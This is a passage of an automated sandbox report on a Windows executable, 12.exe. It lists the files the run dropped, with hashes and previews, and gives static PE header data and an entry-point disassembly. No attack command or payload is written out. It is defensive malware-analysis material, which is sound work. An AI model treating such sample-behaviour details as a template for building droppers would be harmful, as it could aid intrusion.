SHA-512:	6C40C646546369BAF180AE1D14EB306E545DA957E9241F80F0F854C114E2E22B283B4DB650B96083733CA5D768E921D26E797C6CEC10BC219B21A04DB81BB53F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdR2Ca6pZlbjvwRjdHPRhAgkjDt4iWN3yBGHVQ9sQ:9rib4ZoopbjvwRjdvRNkjh4iUxsT6YpR
MD5:	6F4062C990C67D040ABC7B0F73689E66
SHA1:	93421F047B440E9F62456C3E2EC1E6C842DA6A80
SHA-256:	978EF65DE3DD792E7982FAAC8AC3C878936C94E2BCE7E17C56C604E5C68745F2
SHA-512:	729AB7D57FB7D3405110D7F3C33F15057FE7DFB6DBDFFD5BD1D9F13C12C6448A70D0C39BC646F74B6A38E1708318CD4AE3D9DB1EF148815E80C30EB0122EEA57
Malicious:	false
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Temp\MSI47832.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84sCl+MH:Qw946cPbiOxDlbYnuRKIhMH
MD5:	B2E10D9093FEBCE7FE8FF98A8EF54CDF
SHA1:	3AC71F3169861C05C099F1F3D427B6D1A8A9A44E
SHA-256:	A96F7F1C5B5B045D730B516E80324726ED3D398AB614D283B6AF3B7F9FA9A7AC
SHA-512:	EEAA9AD74392C5D29B70D8DFF049F694FC56CCC9584685A4B40AA9076BCF0294C150E9BFC03F8677873F1676D19F69AEF494BF07372CD9245DA3DC40AED20EEA
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.4./.0.1./.2.0.2.5. . .0.3.:.5.5.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2la4axhh.c5n.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j42l5e2j.wmu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_krsjusan.1cm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_waz0j2vs.0ga.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91ov3ptm_hzt53n_428.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-14 03-55-06-017.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3905870872052395
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rv:b
MD5:	90518EF856B4999B0A81DDDA703ADABC
SHA1:	D6288E70B472EB068B90DCF725C61FCA4331BFF1
SHA-256:	4CB56AEA57F87388CCDC1B4E048FB75880CC022D196C9F8E88586F390369F4F6
SHA-512:	816E61C25FD0B3C25CF91186A795D535EC0285DC8E610359626AACA1C42F236CAD46396264ACEC049E679083702CFA3AAC3DC74612BA985FB3B55C7B8AC841E7
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\file.pdf

Download File

Process:	C:\Users\user\Desktop\12.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:Imvn:IY
MD5:	B491DE58BA84D5E12333A236ADD6DDB5
SHA1:	EEBE4E01AA9B893BFFF8BF5A8CD9A0BA1D939D44
SHA-256:	0716F9264C9FE19F5D7455276107F3DDCC1D3497F63D60689A73558AE8A1BF5E
SHA-512:	BC3A2934AEF2582C7DBF748F46DCB6BE3A70F43B6DD335EFEDDA0AC12DB31B0A4C4E4EECF2798A9B4400A5EE5EDA9CFCD9AEA4285BD9703DF6D2498F3D4A477A
Malicious:	false
Preview:	%PDF-1.7.

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7294999767914985
Encrypted:	false
SSDEEP:	96:pfli33CxH52kvhkvCCtWFlmqNHFFlmqeHZ:p9iyZiWFlJFlA
MD5:	4734ED8BBDE5E5FA40881F359D765CF9
SHA1:	D80D32AC96A5DE1EEB7ECEC20BDBD8CEF930D53A
SHA-256:	BFBF130EC4318B7330C8D08C60D845EDAC89510EFBD26A76AD6FABEFEDA19901
SHA-512:	F31372389C4984A8B2CDB3C375474A8CF962DA3A645996FB72423041D17463F2A7619B39736629EA36BB1BEEEEB7DA51A0FA7FE0EC147EBDE39F9302EE412EE8
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v...._...af......af......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Z.F...........................%..A.p.p.D.a.t.a...B.V.1......Z.F..Roaming.@......CW.^.Z.F..............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Z.F..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWR`..Windows.@......CW.^DWR`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\AOELFIINM5P68NAN1QVS.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7294999767914985
Encrypted:	false
SSDEEP:	96:pfli33CxH52kvhkvCCtWFlmqNHFFlmqeHZ:p9iyZiWFlJFlA
MD5:	4734ED8BBDE5E5FA40881F359D765CF9
SHA1:	D80D32AC96A5DE1EEB7ECEC20BDBD8CEF930D53A
SHA-256:	BFBF130EC4318B7330C8D08C60D845EDAC89510EFBD26A76AD6FABEFEDA19901
SHA-512:	F31372389C4984A8B2CDB3C375474A8CF962DA3A645996FB72423041D17463F2A7619B39736629EA36BB1BEEEEB7DA51A0FA7FE0EC147EBDE39F9302EE412EE8
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....)..@....z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v...._...af......af......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Z.F...........................%..A.p.p.D.a.t.a...B.V.1......Z.F..Roaming.@......CW.^.Z.F..............................R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Z.F..........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWR`..Windows.@......CW.^DWR`..............................W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^DW.V....Q...........

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.1963492880257665
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	12.exe
File size:	232'448 bytes
MD5:	90f2ca0a38d6e5416ee2f6be6326521d
SHA1:	00bf14e8153778835f95b9255ae1658e37819f8d
SHA256:	6534d5fd803f9c85bec3a820cef54f953e8643f3a4e16677d11decbf1a5b54c7
SHA512:	aa07eb51552921407b0407456f4a0235198e8bdb33981097bf034018b0e181eab6cc37bd695f9342e9e1a8c61a2094bfc2241592b8598c1a864468798f74912d
SSDEEP:	6144:5C+bHVcNxsYQ9I8ZIH9x7Uj6JBTLCZVFigz:E0HVuxsYn8GH9x7Uj6JBTLCZ
TLSH:	65346B69B7A40CF8E67B9279CC561A05D6B6BC074760EBCF03D006569F232D09E3EB61
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X"..9LU.9LU.9LU.AOT.9LU.AITb9LU.AHT.9LU..OT.9LU..HT.9LU..IT.9LU.AMT.9LU.9MU.9LU..ET.9LU...U.9LU..NT.9LURich.9LU...............

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140008398
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6769010D [Mon Dec 23 06:19:57 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	bae9372ed29a79b82eb7891c89186cec

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F86D4E41710h
dec eax
add esp, 28h
jmp 00007F86D4E40C2Fh
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007F86D4E40DC2h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007F86D4E40DC5h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007F86D4E40DBDh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007F86D4E407FEh
int3
dec eax
mov eax, esp
dec eax
mov dword ptr [eax+08h], ebx
dec eax
mov dword ptr [eax+10h], ebp
dec eax
mov dword ptr [eax+18h], esi
dec eax
mov dword ptr [eax+20h], edi
inc ecx
push esi
dec eax
sub esp, 20h
dec ecx
mov ebx, dword ptr [ecx+38h]
dec eax
mov esi, edx
dec ebp
mov esi, eax
dec eax
mov ebp, ecx
dec ecx
mov edx, ecx
dec eax
mov ecx, esi
dec ecx
mov edi, ecx
dec esp
lea eax, dword ptr [ebx+04h]
call 00007F86D4E40D21h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x34d50	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x39000	0x222c	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3d000	0x960	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x30c60	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x30b20	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x24000	0x2e8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x22a30	0x22c00	cdb7432b3f088c769eb16769c4424884	False	0.5556640625	data	6.4462504419943	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x24000	0x11700	0x11800	e0d54e3796ebc0fb78d4078789258b4b	False	0.3832310267857143	data	4.976685659786107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x36000	0x2a44	0x1400	9c8cd079a9c68b3eb4060a0a7282fe58	False	0.168359375	DOS executable (block device driver)	2.7946886101663733	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x39000	0x222c	0x2400	e000eee54fad835513101cb67b3c1fa0	False	0.4638671875	data	5.167999163396566	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x3c000	0x1e0	0x200	63a978a93afb85b47b650b22380a3ca0	False	0.53125	data	4.7176788329467545	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
